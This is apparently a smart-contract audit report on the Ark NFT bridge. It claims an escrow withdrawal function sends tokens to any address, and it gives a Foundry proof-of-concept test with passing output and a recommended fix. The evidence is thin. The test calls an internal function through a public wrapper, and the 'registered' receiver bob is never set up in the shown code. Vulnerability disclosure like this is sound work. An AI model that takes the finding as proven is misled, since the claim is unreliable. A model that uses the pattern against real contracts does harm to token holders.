Summary
The usual logic of Ark is that users must first provide two addresses: an address to deposit tokens and a different address to withdraw tokens. However, tokens can be withdrawn to previously unconnected addresses.
Vulnerability Details
Here is the vulnerable function:
function _withdrawFromEscrow(
CollectionType collectionType,
address collection,
address to,
uint256 id
)
internal
returns (bool)
{
if (!_isEscrowed(collection, id)) {
return false;
}
address from = address(this);
if (collectionType == CollectionType.ERC721) {
IERC721(collection).safeTransferFrom(from, to, id);
} else {
IERC1155(collection).safeTransferFrom(from, to, id, 1, "");
}
_escrow[collection][id] = address(0x0);
return true;
}
There was no check to see if the address a user has added is the one they are transferring tokens to.
Impact
This vulnerability impacts tokens, as they can be bridged to a wallet outside of the two wallets the users provided. This breaks Ark's fundamental logic as an NFT bridge between Ethereum and Starknet.
Proof of Code
Add this function to the Escrow.t.sol
file:
function setUp() public {
escrow = new EscrowPublic();
erc721 = address(new ERC721MintFree("name 1", "S1"));
Users genusers = new Users();
address payable[] memory users = genusers.create(5);
alice = users[0];
bob = users[1];
vm.prank(alice);
IERC721(erc721).setApprovalForAll(address(escrow), true);
vm.prank(bob);
IERC721(erc721).setApprovalForAll(address(escrow), true);
}
function test_hackWithdraw() public {
IERC721MintRangeFree(erc721).mintRangeFree(alice, 0, 10);
uint256[] memory ids = new uint256[](2);
ids[0] = 5;
ids[1] = 8;
vm.startPrank(alice);
escrow.depositIntoEscrow(CollectionType.ERC721, erc721, ids);
bool wasInEscrow = escrow.withdrawFromEscrow(CollectionType.ERC721, erc721, address(0x2345), 5);
assertTrue(wasInEscrow);
vm.stopPrank();
assertEq(IERC721(erc721).ownerOf(5), address(0x2345));
}
In the code above, bob
is the intended receiving address and is so registered in the contract. However, transfer to address(0x2345)
was still successful.
Here is the result in Foundry:
Ran 1 test for test/Escrow.t.sol:EscrowTest
[PASS] test_hackWithdraw() (gas: 411525)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.34ms (538.90µs CPU time)
Tools Used
Recommendations
Add a check that only the receiving address that a user has connected can be the address to
. This way, the logic of the contract can be maintained.